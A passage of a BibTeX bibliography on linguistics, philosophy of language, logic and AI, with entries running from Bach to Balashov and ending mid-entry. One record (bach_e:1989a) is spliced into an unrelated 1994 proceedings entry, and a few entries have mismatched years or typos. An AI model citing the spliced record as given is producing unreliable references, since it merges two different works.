bach_e:1977a, + author = {Emmon Bach}, + title = {Control}, + year = {1977}, + note = {Unpublished manuscript, University of Massachusetts.}, + topic = {syntactic-control;Montague-grammar;} + } + +@article{ bach_e-cooper_r:1977a, + author = {Emmon Bach and Robin Cooper}, + title = {The {\sc np-s} Analysis of Relative Clauses and Compositional + Semantics}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {2}, + number = {1}, + pages = {145--149}, + topic = {nl-semantics;syntax-semantics-interface; + semantic-compositionality;} + } + +@article{ bach_e:1979a, + author = {Emmon Bach}, + title = {Control in {M}ontague Grammar}, + journal = {Linguistic Inquiry}, + year = {1979}, + volume = {10}, + pages = {515--531}, + missinginfo = {number}, + topic = {nl-semantics[nl-syntax;Montague-grammar;syntactic-control;} + } + +@article{ bach_e:1980a, + author = {Emmon W. Bach}, + title = {In Defense of Passive}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {3}, + number = {3}, + pages = {297--341}, + topic = {transformational-grammar;passive;} + } + +@inproceedings{ bach_e-partee:1980a, + author = {Emmon Bach and Barbara Partee}, + title = {Anaphora and Semantic Structure}, + booktitle = {Papers From the Parasession on Pronouns and Anaphora}, + editor = {K.J. Kreiman and A. Ojeda}, + year = {1980}, + pages = {1--28}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + topic = {anaphora;nl-semantics;} + } + +@incollection{ bach_e:1981a, + author = {Emmon Bach}, + title = {On Time, Tense, and Aspect: An Essay in {E}nglish + Metaphysics}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {63--81}, + address = {New York}, + topic = {temporal-logic;nl-metaphysics;Aktionsarten;tense-aspect; + nl-tense;} + } + +@incollection{ bach_e:1984a, + author = {Emmon Bach}, + title = {Some Generalizations of Categorial Grammars}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {1--23}, + address = {Dordrecht}, + topic = {categorial-grammar;} + } + +@article{ bach_e:1986a, + author = {Emmon Bach}, + title = {The Algebra of Events}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {1}, + pages = {5--16}, + topic = {nl-semantics;events;tense-aspect;Aktionsarten;} + } + +@incollection{ bach_e:1986b, + author = {Emmon Bach}, + title = {Natural Language Metaphysics}, + booktitle = {Logic, Methodology, and Philosophy Of Science, {VII}: + Proceedings of the Seventh International Congress of Logic, + Methodology, and Philosophy of Science, Salzburg, 1983}, + publisher = {North-Holland}, + year = {1986}, + editor = {Ruth Barcan Marcus and Georg J.W. Dorn and Paul Weingartner}, + pages = {63--81}, + address = {Amsterdam}, + topic = {metaphysics;philosophical-ontology;nl-semantics;} + } + +@book{ bach_e:1989a, + author = {Emmon Bach}, + title = {Informal Lectures on Formal Semantics}, + publisher = {State University of New York Press}, + year = {1989}, + address = {Albany, NY}, + title = {The Meanings of Words}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {16--34}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;universal-grammar;Wakashan-language; + lexical-semantics;} + } + +@incollection{ bach_e:1994b, + author = {Emmon Bach}, + title = {The Semantics of Syntactic Categories}, + booktitle = {The Logical Foundations of Cognition}, + publisher = {Oxford University Press}, + year = {1994}, + editor = {John Macnamara and Gonzalo E. Reyes}, + pages = {264--281}, + address = {Oxford}, + topic = {nl-semantic-types;} + } + +@incollection{ bach_e:1995a, + author = {Emmon Bach}, + title = {A Note on Quantification and Blankets in {H}aisla}, + booktitle = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {13--20}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;Wakashan-language;} + } + +@book{ bach_e-etal:1995a, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + title = {Quantification in Natural Languages, Vols. 1 and 2}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + volume = {54 and 55}, + series = {Studies in Linguistics and Philosophy}, + address = {Dordrecht}, + contentnote = {Ref for both volumes.}, + xref = {Review: vanderdoes-verkuyl:1999a.}, + topic = {nl-semantics;nl-quantifiers;} + } + +@book{ bach_e-etal:1995b, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + title = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + volume = {54}, + series = {Studies in Linguistics and Philosophy}, + address = {Dordrecht}, + contentnote = {This ref for volume 1 only. TC: Introduction. + E. Bach, A Note on Quantification and Blankets in Haisla. + M. Baker, On the Absence of Certain Quantifiers in Mohawk. + M. Bittner, Quantification in Eskimo: A Challenge for + Compositional Semantics. + M. Bittner and K. Hale, Remarks on Definiteness in Walpiri. + G. Chierchia, The Variability of Impersonal Subjects. + I. Comorovski, On Quantifier Strength and Partitive Noun + Phrases + V. Dayal, Quantification in Correlatives. + N. Evans, A-Quantifiers and Scope in Malayi. + L. Faltz, Towards a Typology of Natural Logic. + D. Gil, Universal Quantifiers and Distributivity. + M. Haspelmath, Diachronic Sources of `All' and `Every'. + } , + topic = {nl-semantics;nl-quantifiers;} + } + +@book{ bach_e-etal:1995c, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + title = {Quantification in Natural Languages, Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + volume = {55}, + series = {Studies in Linguistics and Philosophy}, + address = {Dordrecht}, + contentnote = {This ref for volume 2 only. TC: + J. Higginbotham, Mass and Count Quantifiers. + H. de Hoop, On the Characterization of the Weak-Strong + Distinction. + P. Jacobson, On the Quantificational Force of English Free + Relatives. + E. Jelinek, Quantification in Straits Salish. + B. Partee, Quantificational Structures and Compositionality. + K. Petronio, Bare Noun Phrases Verbs and Quantification in ASL + Craige Roberts, Domain Restriction in Dynamic Semantics + Marcia Damaso Vieira, The Expression of + Quantificational Notions in Asurini do + Trocara: Evidence against the Universality of + Determiner Quantification + } , + topic = {nl-semantics;nl-quantifiers;} + } + +@incollection{ bach_e-etal:1995d, + author = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + title = {Introduction}, + booktitle = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {1--11}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;} + } + +@incollection{ bach_k:1979a, + author = {Kent Bach}, + title = {Meaning, Speech Acts, and Communication}, + booktitle = {Basic Topics in the Philosophy of Language}, + publisher = {Prentice-Hall}, + year = {1979}, + editor = {Robert M. Harnish}, + pages = {3--21}, + address = {Englewood Cliffs, New Jersey}, + topic = {speech-acts;implicature;pragmatics;speaker-meaning;} + } + +@book{ bach_k-harnish:1979a, + author = {Kent Bach and Robert M. Harnish}, + title = {Linguistic Communication and Speech Acts}, + publisher = {The {MIT} Press}, + year = {1979}, + address = {Cambridge, Massachusetts}, + topic = {speech-acts;philosophy-of-language;} + } + +@article{ bach_k:1982a, + author = {Kent Bach}, + title = {Semantic Nonspecificity and Mixed Quantifiers}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {4}, + number = {4}, + pages = {593--605}, + topic = {semantic-underspecification;nl-semantics;} + } + +@book{ bach_k:1987a, + author = {Kent Bach}, + title = {Thought and Reference}, + publisher = {Oxford University Press}, + year = {1987}, + address = {Oxford}, + topic = {philosophy-of-mind;philosophy-of-language;reference;} + } + +@article{ bach_k:1987b, + author = {Kent Bach}, + title = {On Commnicative Intentions}, + journal = {Mind and Language}, + year = {1987}, + volume = {2}, + pages = {141--154}, + topic = {speaker-meaning;pragmatics;} + } + +@article{ bach_k-harnish:1992a, + author = {Kent Bach and Robert M. Harnish}, + title = {How Performatives Really Work: A Reply to {S}earle}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {1}, + pages = {93--110}, + topic = {speech-acts;} + } + +@article{ bach_k:1994a, + author = {Kent Bach}, + title = {Conversational Implicature}, + journal = {Mind and Language}, + year = {1994}, + volume = {9}, + pages = {124--162}, + missinginfo = {number}, + topic = {implicature;} + } + +@article{ bach_k:1995a, + author = {Kent Bach}, + title = {Standardization vs. Conventionalization}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {6}, + pages = {677--686}, + topic = {speech-acts;pragmatics;} + } + +@unpublished{ bach_k:1999a, + author = {Kent Bach}, + title = {The Semantics-Pragmatics Distinction and Why it Matters}, + year = {1999}, + note = {Available at http://userwww.sfsu.edu/\user{}kbach/semprag.html}, + topic = {nl-semantics;pragmatics;} + } + +@article{ bach_k:1999b, + author = {Kent Bach}, + title = {The Myth of Conventional Implicature}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {4}, + pages = {327--366}, + topic = {conventional-implicature;} + } + +@article{ bach_k:2000a, + author = {Kent Bach}, + title = {Review of {\it Concepts: Where Cognitive Science Went + Wrong}, by {J}erry {A}. {F}odor}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {4}, + pages = {627--632}, + xref = {Review of: fodor_ja:1998a.}, + topic = {lexical-semantics;semantic-primitives;} + } + +@article{ bacharach:1985a, + author = {M.O.L. Bacharach}, + title = {Some Extensions of a Claim of {A}umann in an Axiomatic Model + of Knowledge}, + journal = {Journal of Economic Theory}, + year = {1985}, + volume = {37}, + pages = {167--190}, + missinginfo = {A's 1st name, number}, + topic = {game-theory;epistemic-logic;} + } + +@book{ bacharach-etal:1997a, + editor = {M.O.L. Bacharach and L.A. G\'erard-Varet and + P. Mongin and H.S. Shin}, + title = {Epistemic Logic and the Theory of Games and Decisions}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + ISBN = {0-7923-4804}, + xref = {Review: arlocosta:2000a.}, + topic = {epistemic-logic;game-theory;decision-theory;} + } + +@book{ bache:1997a, + author = {Carl Bache}, + title = {The Study of Aspect, Tense, and Action}, + publisher = {Peter Lang}, + year = {1997}, + address = {Berlin}, + ISBN = {3-8204-3509-0}, + topic = {tense-aspect;} + } + +@incollection{ bachmair-ganziger:1998a, + author = {L. Bachmair and H. Ganzinger}, + title = {Equational Reasoning in Saturation-Based Theorem Proving}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@article{ back:1992a, + author = {Allan Back}, + title = {Sailing through The Sea Battle}, + journal = {Ancient Philosophy}, + year = {1992}, + volume = {12}, + number = {1}, + pages = {133--151}, + acontentnote = {I wish to present a simple resolution of the + problem of the sea battle treated in Aristotle's "On Interpretation + 9". Though my modelis simple, the task is not. I am going to have to + battle with the text and to wade through a sea of secondary + literature. Let me, then, first present the solution, and then face + these labors. I shall conclude with some reflections about certain + problems that my solution makes.}, + topic = {Aristotle;future-contingent-propositions;} + } + +@article{ backe:2000a, + author = {Andrew Backe}, + title = {Review of {\it The Philosophical Legacy of Behaviorism}, + edited by {B}ruce {A}. {T}hyer}, + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {3}, + pages = {546--548}, + xref = {Review of thyer:1999a.}, + topic = {behaviorism;philosophy-of-psychology;} + } + +@article{ backofen-etal:1995a, + author = {Rolf Backofen and James Rogers and K. Vijay-Shankar}, + title = {A First-Order Axiomatization of the Theory of Finite + Trees}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {4}, + number = {1}, + pages = {5--39}, + topic = {finite-trees;} + } + +@article{ backschneider:1987a, + author = {Paul Backscheider}, + title = {Punctuation for the Reader}, + journal = {English Journal}, + year = {1972}, + volume = {61}, + number = {6}, + pages = {874--877}, + topic = {punctuation;} +} + +@incollection{ backstrom:1992a, + author = {Christer B\"ackstr\"om}, + title = {Equivalence and Tractability Results for {SAS$+$} Planning}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {126--137}, + address = {San Mateo, California}, + topic = {planning-alorithms;} + } + +@article{ backstrom:1995a, + author = {Christer B\"ackstr\"om}, + title = {Expressive Equivalence of Planning Formalisms}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {17--34}, + topic = {planning-formalisms;} + } + +@article{ bacon:1965a, + author = {John Bacon}, + title = {A Simple Treatment of Complex Terms}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {12}, + pages = {328--331}, + topic = {nl-quantification;relative-clauses;} + } + +@phdthesis{ bacon:1966a, + author = {John Bacon}, + title = {Being and Existence: Two Ways of Formal Ontology}, + school = {Philosophy Department, Yale University}, + year = {1966}, + type = {Ph.{D}. Dissertation}, + address = {New Haven}, + topic = {philosophical-ontology;(non)existence;generics;} + } + +@unpublished{ bacon:1973a1, + author = {John Bacon}, + title = {The Semantics of Generic `The'\, } , + year = {1973}, + note = {Unpublished manuscript.}, + xref = {Journal Publication: bacon:1973a2.}, + topic = {generics;} + } + +@article{ bacon:1973a2, + author = {John Bacon}, + title = {The Semantics of Generic `The'\, } , + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {3}, + pages = {323--339}, + topic = {generics;} + } + +@article{ bacon:1973b, + author = {John Bacon}, + title = {Do Generic Descriptions Denote?}, + journal = {Mind}, + year = {1973}, + volume = {82}, + pages = {331--347}, + topic = {generics;} + } + +@article{ bacon:1974a, + author = {John Bacon}, + title = {The Untenability of Genera}, + journal = {Logique et Analyse}, + year = {1974}, + volume = {17}, + number = {65--66}, + pages = {197--298}, + topic = {generics;} + } + +@techreport{ bacon:1976a, + author = {John Bacon}, + title = {The Logical Form of Perception Sentences}, + institution = {York College}, + number = {1}, + year = {1976}, + address = {Jamaica,New York}, + topic = {logic-of-perception;} + } + +@unpublished{ bacon:1984a, + author = {John Bacon}, + title = {Sommers and Modern Logic}, + year = {1984}, + note = {Unpublished manuscript, University of Sydney.}, + missinginfo = {Said to be for a vol on Sommers edited by + George Englebretson. Date this reference is a guess.}, + topic = {term-logic;} + } + +@article{ bacon:1988a, + author = {John Bacon}, + title = {Four Modal Modelings}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {2}, + pages = {91--114}, + topic = {modal-logic;} + } + +@article{ bacon:1989a, + author = {John Bacon}, + title = {A Single Primitive Trope Relation}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {2}, + pages = {141--154}, + topic = {property-theory;philosophical-ontology;} + } + +@unpublished{ badouli-zanardo:1993a, + author = {Sylvia Badouli and Alberto Zanardo}, + title = {Plausible Reasoning: A First-Order Approach}, + year = {1993}, + note = {Unpublished manuscript, Department of Mathemaics, + University of Padova.}, + topic = {nonmonotonic-reasoning;} + } + +@book{ badre-shneiderman:1982a, + editor = {Albert Badre and Ben Shneiderman}, + title = {Directions in Human-Computer Interaction}, + publisher = {Ablex Publishing Corp.}, + year = {1982}, + address = {Norwood, New Jersey}, + ISBN = {0893911445}, + topic = {HCI;} + } + +@book{ baecker-buxton:1987a, + editor = {Ronald M. Baecker and William A.S. Buxton}, + title = {Readings in Human-Computer Interaction: A + Multidisciplinary Approach}, + publisher = {Morgan Kaufmann}, + year = {1987}, + address = {Los Altos, California}, + ISBN = {0934613249 (pbk.)}, + topic = {HCI;} + } + +@book{ baecker:1995a, + editor = {Ronald M. Baecker}, + title = {Readings In Human-Computer Interaction: Toward The Year + 2000}, + publisher = {Morgan Kaufmann Publishers}, + edition = {2}, + year = {1995}, + address = {San Francisco}, + ISBN = {1558602461}, + topic = {HCI;} + } + +@inproceedings{ bagga-etal:1996a, + author = {Amit Bagga and Joyce Y. Chai and Alan W. Biermann}, + title = {The Role of {WordNet} in the Creation of a Trainable Message + Understanding System}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {941--948}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + url = {http://www.cs.duke.edu/\user{}amit/iaai97.ps.gz}, + topic = {wordnet;message-understanding;} + } + +@inproceedings{ bagga-baldwin:1998a, + author = {Amit Bagga and Breck Baldwin}, + title = {Entity-Based Cross-Document Coreferencing Using the Vector + Space Model}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {79--85}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {identification-across-documents;vector-space-model;} + } + +@incollection{ bagga-chai:1998a, + author = {Amit Bagga and Joyce Yue Chai}, + title = {A Trainable Message Understanding System}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {1--8}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;nl-interpretation;} + } + +@article{ baier:1970a, + author = {Annette C. Baier}, + title = {Act and Intent}, + journal = {The Journal of Philosophy}, + year = {1970}, + volume = {67}, + number = {1970}, + pages = {648--658}, + topic = {intention;action;} + } + +@incollection{ baier:1986a, + author = {Annette Baier}, + title = {The Ambiguous Limits of Desire}, + booktitle = {The Ways of Desire: New Essays in Philosophical + Psychology on the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + editor = {Joel Marks}, + pages = {39--63}, + address = {Chicago}, + topic = {desire;philosophical-psychology;} + } + +@book{ bailey:1991a, + author = {Richard W. Bailey}, + title = {Images of {E}nglish: A Cultural History of the Language}, + publisher = {University of Michigan Press}, + year = {1991}, + address = {Ann Arbor, Michigan}, + topic = {English-Language;sociolinguistics;} + } + +@article{ baileykellogg-zhao:2001a, + author = {Chris Bailey-Kellogg and Feng Zhao}, + title = {Influence-Based Model Decomposition for Reasoning about + Spatially Distributed Physical Systems}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {130}, + number = {2}, + pages = {125--166}, + topic = {qualitative-reasoning;spatial-reasoning;qualitative-physics; + causality;model-based-reasoning;} + } + +@article{ bailhache:1980a, + author = {Patrice Bailhache}, + title = {Several Possible Systems of Deontic Weak and Strong Norms}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1980}, + volume = {21}, + number = {1}, + pages = {39--100}, + topic = {deontic-logic;} + } + +@article{ bailhache:1999a, + author = {Patrice Bailhache}, + title = {Review of {\it Extending Deontic Logic for the + Formalization of Legal Rules}, by {L}amb\`er {M}.{M}. + {R}oyakkers}, + journal = {Journal of Symbolic Logic}, + year = {1999}, + volume = {64}, + number = {4}, + pages = {1841--1842}, + xref = {Review of: royakkers:1998a.}, + topic = {deontic-logic;logic-and-law;} + } + +@incollection{ baioletti-etal:1998a, + author = {M. Baioletti and S. Marcugini and A. Milani}, + title = {Encoding Planning Constraints into Partial Order + Planning Domains}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {608--616}, + address = {San Francisco, California}, + topic = {kr;planning;;kr-course;} + } + +@article{ bajscy-large:1999a, + author = {Ruzena Bajscy and Edward W. Large}, + title = {When and Where Will {AI} Meet Robotics? Issues + in Representation}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {3}, + pages = {57--65}, + topic = {robotics;cognitive-robotics;} + } + +@incollection{ baker_ab:1989a, + author = {Andrew B. Baker}, + title = {A Simple Solution to the {Y}ale Shooting Problem}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {11--20}, + address = {San Mateo, California}, + missinginfo = {number}, + topic = {kr;Yale-shooting-problem;kr-course;} + } + +@inproceedings{ baker_ab-ginsberg_ml:1989a, + author = {Andrew B. Baker and Matthew L. Ginsberg}, + title = {A Theorem Prover for Prioritized Circumscription}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {463--467}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {kr;circumscription;nonmonotonic-prioritization; + nonmonotonic-reasoning;theorem-proving;kr-course;} + } + +@inproceedings{ baker_ab-ginsberg_ml:1989b, + author = {Andrew B. Baker and Matthew L. Ginsberg}, + title = {Temporal Projection and Explanation}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {906--911}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {kr;frame-problem;temporal-reasoning;Yale-Shooting-problem; + nonmonotonic-reasoning;} + } + +@unpublished{ baker_ab-ginsberg_ml:1989c, + author = {Andrew B. Baker and Yoav Shoham}, + title = {Nonmonotonic Temporal Reasoning}, + year = {1989}, + note = {Unpublished manuscript, Computer Science Department, + Stanford University.}, + topic = {nonmonotonic-reasoning;temporal-reasoning;frame-problem; + ramification-problem;Yale-Shooting-Problem;} + } + +@article{ baker_ab:1991a, + author = {Andrew B. Baker}, + title = {Nonmonotonic Reasoning in the Framework of the Situation + Calculus}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {5--23}, + topic = {kr;situation-calculus;nonmonotonic-reasoning;frame-problem; + kr-course;} + } + +@inproceedings{ baker_cf-etal:1998a, + author = {Collin F. Baker and Charles J. Fillmore and John B. Lowe}, + title = {The {B}erkeley {F}rame{N}et Project}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {86--90}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {computational-lexicography;corpus-linguistics;} + } + +@book{ baker_cl:1973a, + author = {Carl L. Baker}, + title = {Definiteness and Indefiniteness in {E}nglish}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {definiteness;indefiniteness;} + } + +@book{ baker_cl:1978a, + author = {Carl L. Baker}, + title = {Introduction to Generative-Transformational Gramamr}, + publisher = {Prentice-Hall, Inc.}, + year = {1978}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {013484410-6}, + topic = {transformational-grammar;syntax-intro;} + } + +@book{ baker_gp-hacker:1980a, + author = {Gordon P. Baker and Peter M.S. Hacker}, + title = {Wittgenstein, Understanding and Meaning}, + publisher = {University of Chicago Press}, + year = {1980}, + address = {Chicago}, + ISBN = {0226035263}, + topic = {Wittgenstein;philosophy-of-language;philosophy-of-mind;} + } + +@book{ baker_gp-hacker:1984a, + author = {Gordon P. Baker and Peter M.S. Hacker}, + title = {Scepticism, Rules and Language}, + publisher = {Basil Blackwell}, + year = {1984}, + address = {Oxford}, + ISBN = {0631136142}, + topic = {Wittgenstein;philosophy-of-language;skepticism;} + } + +@incollection{ baker_gp:1986a, + author = {Gordon P. Baker}, + title = {Alternative Mind-Styles}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {277--314}, + address = {Oxford}, + topic = {metaphilosophy;} + } + +@incollection{ baker_j:1986a, + author = {Judith Baker}, + title = {Do One's Motives have to be Pure?}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {457--473}, + address = {Oxford}, + topic = {motivation;ethics;} + } + +@incollection{ baker_jp:1997a, + author = {John Paul Baker}, + title = {Consistency and Accuracy in Correcting + Automatically Tagged Data}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {243--250}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;corpus-tagging;} + } + +@incollection{ baker_lr:1986b, + author = {Lynne Rudder Baker}, + title = {Just What Do We Have in Mind?}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {25--48}, + address = {Minneapolis}, + topic = {mental-representation;methodological-solipsism;} + } + +@incollection{ baker_lr:1989a, + author = {Lynne Rudder Baker}, + title = {On a Causal Theory of Content}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {165--186}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {intentionality;philosophy-of-mind;representation;} + } + +@incollection{ baker_lr:1993a, + author = {Lynne Rudder Baker}, + title = {Metaphysics and Mental Causation}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {75--95}, + address = {Oxford}, + topic = {mind-body-problem;causality;} + } + +@incollection{ baker_lr:1994a, + author = {Lynne Rudder Baker}, + title = {Content and Context}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {17--32}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {context;propositional-attitudes;intentionalituy; + philosophy-of-mind;} + } + +@book{ baker_lr:1995a, + author = {Lynne Rudder Baker}, + title = {Explaining Attitudes}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + topic = {philosophy-of-mind;belief;} + } + +@incollection{ baker_mc:1985a, + author = {Mark Baker}, + title = {On the Absence of Certain Quantifiers in {M}ohawk}, + booktitle = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {21--58}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;(in)definiteness;Australian-language;} + } + +@book{ baker_mc:1988a, + author = {Mark C. Baker}, + title = {Incorporation: A Theory of Grammatical Function Changing}, + publisher = {University of Chicago Press}, + year = {1988}, + address = {Chicago, Illinois}, + topic = {morphology;incorporation;} + } + +@incollection{ baker_mc:1992a, + author = {Mark C. Baker}, + title = {Thematic Conditions on Syntactic Structures: Evidence + from Locative Applicatives.}, + booktitle = {Thematic Structure: Its Role in Grammar}, + publisher = {Foris Publications}, + year = {1992}, + editor = {Iggy M. Roca}, + pages = {23--46}, + address = {Berlin}, + topic = {thematic-roles;argument-structure;nl-syntax;} + } + +@article{ baker_mc:1992b, + author = {Mark C. Baker}, + title = {Unmatched Chains and the Representation of Plural Pronouns}, + journal = {Natural Language Semantics}, + year = {1992}, + volume = {1}, + number = {1}, + pages = {33--73}, + topic = {nl-semantics;plurals;anaphora;} + } + +@article{ baker_mc-travis:1997a, + author = {Mark C. Baker and Lisa Travis}, + title = {Mood as Verbal Definiteness in a `Tenseless' Language}, + journal = {Natural Language Semantics}, + year = {1997}, + volume = {5}, + number = {3}, + pages = {213--269}, + topic = {nl-tense;nl-mood;Iroquois-language;} + } + +@article{ baker_r:1973a, + author = {Richard Baker}, + title = {A Spatially-Oriented Information Processor which Simulates + the Motions of Rigid Objects}, + journal = {Artificial Intelligence}, + year = {1973}, + volume = {4}, + number = {1}, + pages = {29--40}, + topic = {spatial-reasoning;} + } + +@inproceedings{ balaban:1992a, + author = {Mira Balaban}, + title = {F-Logic as a Basis for a General Description Logic}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {6--10}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;} + } + +@article{ balaguer:1999a, + author = {Mark Balaguer}, + title = {Review of {\it Naturalism in Mathematics}, by + {P}enelope {M}addy}, + journal = {Philosophy of Science}, + year = {1999}, + volume = {66}, + number = {3}, + pages = {502--504}, + topic = {philosophy-of-mathematics;foundations-of-set-theory;} + } + +@article{ balaguer:2002a, + author = {Mark Balaguer}, + title = {Review of {\it Thinking about Mathematics}, by {S}tewart + {S}hapiro}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {1}, + pages = {89--91}, + xref = {Review of shapiro_s1:2000a.}, + topic = {philosophy-of-mathematics;foundations-of-mathematics;} + } + +@incollection{ balashov:2000a, + author = {Yuri Balashov}, + title = {Relativity and Persistence}, + booktitle = {{PSA}'1998: Proceedings of the 